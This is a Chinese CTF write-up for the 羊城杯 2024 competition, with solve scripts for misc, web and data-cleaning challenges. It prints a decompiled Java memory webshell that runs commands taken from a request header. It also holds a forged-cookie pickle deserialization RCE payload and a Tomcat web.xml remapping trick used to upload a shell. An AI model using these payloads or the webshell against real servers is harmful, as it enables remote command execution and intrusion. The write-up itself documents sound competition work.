羊城杯 2024
本文最后更新于 80 天前,其中的信息可能已经有所发展或是发生改变。

太卷了,一个人8解,协会其他人也在做,决赛门都摸不着(●ˇ∀ˇ●)

Misc

Hidden

  • rot47 + rot13 得到加密脚本,逆向得 flag
  • 逆向得flag
import wave


with wave.open("hiden.wav", "rb") as f:
    attrib = f.getparams()
    wav_data = bytearray(f.readframes(-1))

data = [wav_data[i * 4] for i in range(1000)]
print(bytes(data))

miaoro

  • 过滤相关流量Wireshark: ip.addr == 192.168.1.3 && http,发现在请求头中有命令执行的痕迹,为攻击shiro流量
GWHT: YCB2024 (base64)
# 部分流量内容
whoami : laptop-39s590m1\asus

net user: Administrator            ASUS                     DefaultAccount           
Guest                    WDAGUtilityAccount   

echo Th15_11111111s_pP@sssssw000rd!!!>pass.txt

certutil -urlcache -f "http://192.168.1.3:801/test.txt"
  • 通过在线网站爆破常见cookie密钥解密Cookie,得到马,package name为flag1;使用IDEA反编译,用jadx会使{-消失
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
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.flag1.DASCTF{B916CFEB-C40F-45D6-A7BC-;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.codec.Base64;

public class Miao49757142263800 extends AbstractTranslet {
    static HashSet h;
    static HttpServletRequest r;
    static HttpServletResponse p;

    private static boolean i(Object var0) {
        if (var0 != null && !h.contains(var0)) {
            h.add(var0);
            return false;
        } else {
            return true;
        }
    }

    private static void F(Object var0, int var1) {
        Class var2 = var0.getClass();

        do {
            Field var3 = null;
            int var4 = var2.getDeclaredFields().length;

            for(int var5 = 0; var5 < var4; ++var5) {
                var3 = var2.getDeclaredFields()[var5];
                var3.setAccessible(true);
                Object var6 = null;

                try {
                    var6 = var3.get(var0);
                    if (!var6.getClass().isArray()) {
                        p(var6, var1);
                    } else {
                        Object var7 = null;
                        Object[] var8 = (Object[])var6;
                        int var9 = Array.getLength(var6);

                        for(int var10 = 0; var10 < var9; ++var10) {
                            var7 = var8[var10];
                            p(var7, var1);
                        }
                    }
                } catch (Exception var12) {
                }
            }
        } while((var2 = var2.getSuperclass()) != null);
    }

    private static void p(Object var0, int var1) {
        if (var1 <= 52 && (r == null || p == null)) {
            if (!i(var0)) {
                if (r == null && HttpServletRequest.class.isAssignableFrom(var0.getClass())) {
                    r = (HttpServletRequest)var0;
                    if (r.getHeader("Host") == null && r.getHeader("Authorization") == null) {
                        r = null;
                    } else {
                        try {
                            p = (HttpServletResponse)r.getClass().getMethod("getResponse", (Class[])null).invoke(r, (Object[])null);
                        } catch (Exception var7) {
                            r = null;
                        }
                    }
                }
                if (r != null && p != null) {
                    try {
                        p.addHeader("Host", r.getHeader("Host"));
                        try {
                            p.getWriter().println("$$$" + Base64.encodeToString((new Scanner(Runtime.getRuntime().exec(Base64.decodeToString(r.getHeader("GWHT").replaceAll("YCB2024 ", ""))).getInputStream())).useDelimiter("\\A").next().getBytes()) + "$$$");
                        } catch (Exception var5) {
                        }
                        p.getWriter().flush();
                        p.getWriter().close();
                    } catch (Exception var6) {
                    }
                    return;
                }
                F(var0, var1 + 1);
            }
        }
    }
    public Miao49757142263800() {
        r = null;
        p = null;
        h = new HashSet();
        F(Thread.currentThread(), 0);
    }
}
  • 同时,响应流量中可以发现一个secret.txt,导出后hex转ascii可以得到一张jpg,很明显宽度有问题,尝试修改为与高度同一个值,得到正常图片flag2.jpg
  • 识图后找到对照表,拼接即可

不一样的数据库

  • 文件末尾附加爆破提示,6位数字:753951,得到残缺二维码,补全
  • 得到NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU,尝试rot13
  • 搜索文件名相关信息,猜测为KeeWeb加密的产物,打开后在历史记录中找到加密flag
passisDASCTF
WBArAG6ku6ALmLGGn3iq
U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A==
  • AES加盐,存个脚本
from Crypto import Random
from Crypto.Cipher import AES
import base64
from hashlib import md5


def pad(data):
    length = 16 - (len(data) % 16)
    return data + (chr(length) * length).encode()


def unpad(data):
    return data[:-(data[-1] if type(data[-1]) == int else ord(data[-1]))]


def bytes_to_key(data, salt, output=48):
    assert len(salt) == 8, len(salt)
    data += salt
    key = md5(data).digest()
    final_key = key
    while len(final_key) < output:
        key = md5(key + data).digest()
        final_key += key
    return final_key[:output]


def encrypt(message, passphrase):
    salt = Random.new().read(8)
    key_iv = bytes_to_key(passphrase, salt, 32 + 16)
    key = key_iv[:32]
    iv = key_iv[32:]
    aes = AES.new(key, AES.MODE_CBC, iv)
    return base64.b64encode(b"Salted__" + salt + aes.encrypt(pad(message)))


def decrypt(encrypted, passphrase):
    encrypted = base64.b64decode(encrypted)
    assert encrypted[0:8] == b"Salted__"
    salt = encrypted[8:16]
    key_iv = bytes_to_key(passphrase, salt, 32 + 16)
    key = key_iv[:32]
    iv = key_iv[32:]
    aes = AES.new(key, AES.MODE_CBC, iv)
    return unpad(aes.decrypt(encrypted[16:]))


passphrase = b"DASCTF"
test = b"U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A=="
result = decrypt(test, passphrase)
print(result)

so much

  • 文件结尾:the key is 1234567 really?,文件名:shift!,那么密码应该是!@#$%^&,FTK Imager挂载
  • 三百多个.crypto文件,计算后发现只有两种文件
['8a700277f3452770a74c4a2f7a91bbf9' * 166, 'a07e73084ba2272d40469ef294c45200' * 180]
  • 观察文件时间,发现只有两种时间,交替出现,尝试导出为二进制,得到密钥
from os import stat

for i in range(344):
    t = round(stat(f"data/{i}.crypto").st_mtime)
    if t % 100 == 86:
        print(0, end="")
    else:
        print(1, end="")
  • 同时搜索.crypto相关信息,猜测为Encrypto加密的产物,分别解密两种文件,得到flag

Web

Lyrics For You

  • 任意文件读,得到源代码
import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
  • 读取config/secret_key.py得到密钥
secret_code = "EnjoyThePlayTime123456"
  • 打pickle反序列化RCE,任意文件读得到flag
code = """
(cos
system
S'/readflag > /tmp/1'
os.
""".strip().encode()
print(base64.b64encode(code))
value = touni(cookie_encode(("user", code), "EnjoyThePlayTime123456"))
print(value)

tomtom2

  • 有个只能读.xml的接口,尝试读取/opt/tomcat/conf/tomcat-users.xml得到用户密码
<h1>Read to file: /opt/tomcat/conf/tomcat-users.xml</h1>

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->

  <user username="admin" password="This_is_my_favorite_passwd" roles="manager-gui"/>

<!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>
  • 登录后有个上传接口,经过测试只能上传.xml文件,同时可以目录穿越至其他目录写文件,覆盖web.xml修改后缀名解析,将xml解析为jsp传马即可
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.xml</url-pattern>
</servlet-mapping>

数据安全

总结为读文件整理数据,没什么难度(虽然代码写得不好看`(*>﹏<*)′

data-analy1

from string import printable


data = open("person_data.csv", "r", encoding="utf-8").read().strip().split("\n")[1:]

phone_prefix = [
    734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
    778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
    756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
    780, 781, 789, 790, 791, 793, 799
]
print(data[0])
data = [i.split(",") for i in data]
tidy = []
for person in data:
    tmp = ["" for _ in range(8)]
    for i in person:
        if i in "男女" and not tmp[4]:
            tmp[4] = i
            person.remove(i)
    for i in person:
        if len(i) == 18 and ((i[:-1].isdigit() and i[-1].upper() == "X") or i.isdigit()) and not tmp[6]:
            tmp[6] = i
            person.remove(i)
    for i in person:
        if len(i) == 11 and i.isdigit() and int(i[:3]) in phone_prefix and not tmp[7]:
            tmp[7] = i
            person.remove(i)
    for i in person:
        if len(i) == 8 and all([_.isdigit() for _ in i]) and i in tmp[6] and not tmp[5]:
            tmp[5] = i
            person.remove(i)
    for i in person:
        if all([_ not in printable for _ in i]) and i not in "男女" and not tmp[3]:
            tmp[3] = i
            person.remove(i)
    for i in person:
        if len(i) == 32 and not tmp[2]:
            tmp[2] = i
            person.remove(i)
    for i in person:
        if i.isdigit() and not tmp[0]:
            tmp[0] = i
            person.remove(i)
    for i in person:
        if i not in tmp:
            tmp[1] = i
            person.remove(i)
    tidy.append(tmp)
tidy = [','.join(i) for i in tidy]
data = "编号,用户名,密码,姓名,性别,出生日期,身份证号,手机号码\n" + "\n".join(tidy)
open("data.csv", "w", encoding="utf-8").write(data)

data-analy2

  • 给了个pcapng,读取解析即可,正确率98%,懒得细找问题了,过了就行
from json import loads
from pyshark import FileCapture
from string import printable


data = []
phone_prefix = [
    734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
    778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
    756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
    780, 781, 789, 790, 791, 793, 799
]
pre = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]

file = FileCapture("data.pcapng", display_filter="http && tcp.port == 3000")
for i in file:
    req: bytes = bytes.fromhex(i.tcp.payload.replace(":", ""))
    req: bytes = req.strip().split(b"\r\n\r\n")[-1]
    try:
        req: dict[str] = loads(req)
    except Exception as e:
        continue
    if not req["username"].isalnum():
        data.append(req)
        continue
    if any([i in req["name"] for i in printable]):
        data.append(req)
        continue
    if req["sex"] not in "男女":
        data.append(req)
        continue
    if req["birth"] != req["idcard"][6:14] or len(req["birth"]) != 8:
        data.append(req)
        continue
    id_card = req["idcard"]
    condition = [
        len(id_card) == 18,
        True if (int(id_card[-2]) % 2 == 0 and req["sex"] == "女") or (
                    int(id_card[-2]) % 2 == 1 and req["sex"] == "男") else False,
        check[int(sum([int(id_card[i]) * pre[i] for i in range(17)]) % 11)] == id_card[-1]
    ]
    if not all(condition):
        data.append(req)
        continue
    if len(req["phone"]) != 11 or int(req["phone"][:3]) not in phone_prefix or not req["phone"].isdigit():
        data.append(req)
        continue
a = [[i["username"], i["name"], i["sex"], i["birth"], i["idcard"], i["phone"]] for i in data]
a = [",".join(i) for i in a]
a = "\n".join(a)
with open("test.csv", "w", encoding="utf-8") as f:
    f.write("username,name,sex,birth,idcard,phone\n")
    f.write(a)

data-analy3

  • 正确率100%,给了个日志,数据都在error.log里,剩下的没东西,同时注意分别请求有两种情况,用户名正确时会回复密码;用户名不存在的情况要剔除;同时还需校验数据格式
# 图写的快,直接硬解析,写的实在是乱,不想看第二遍

from hashlib import md5
from urllib.parse import unquote
from string import printable


pre = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
phone_prefix = [
    734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
    778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
    756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
    780, 781, 789, 790, 791, 793, 799
]
data = open("apache2/error.log", "r").read().strip().split("\n")
with open("test.csv", "w", encoding="utf-8") as f:
    f.write("username,password,name,idcard,phone\n")
    skip = False
    for i in data:
        if "username" in i:
            i = i.split("dumpio_in (data-HEAP): ")[-1].strip().split("&")
            username = unquote(i[0].split("=")[1])
            if not username.isalnum():
                skip = True
                continue
            name = unquote(i[1].split("=")[1])
            if any([i in printable for i in name]):
                skip = True
                continue
            id_card = i[2].split("=")[1]
            condition = [
                len(id_card) == 18,
                check[int(sum([int(id_card[i]) * pre[i] for i in range(17)]) % 11)] == id_card[-1]
            ]
            if not all(condition):
                skip = True
                continue
            phone = i[3].split("=")[1]
            if len(phone) != 11 or int(phone[:3]) not in phone_prefix or not phone.isdigit():
                skip = True
                continue
            skip = False
            username = username[0] + "*" if len(username) == 2 else username[0] + "*" * (len(username) - 2) + username[
                -1]
            name = name[0] + "*" if len(name) == 2 else name[0] + "*" * (len(name) - 2) + name[-1]
            id_card = "*" * 6 + id_card[6:10] + "*" * 8
            phone = phone[:3] + "*" * 4 + phone[-4:]
        if r"\xe6\x82\xa8\xe7\x9a\x84\xe4\xbf" in i and not skip:
            password = md5(i.replace("\\n", "").strip().rsplit(": ")[-1].encode()).hexdigest()
            f.write(f"{username},{password},{name},{id_card},{phone}\n")
            skip = False
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇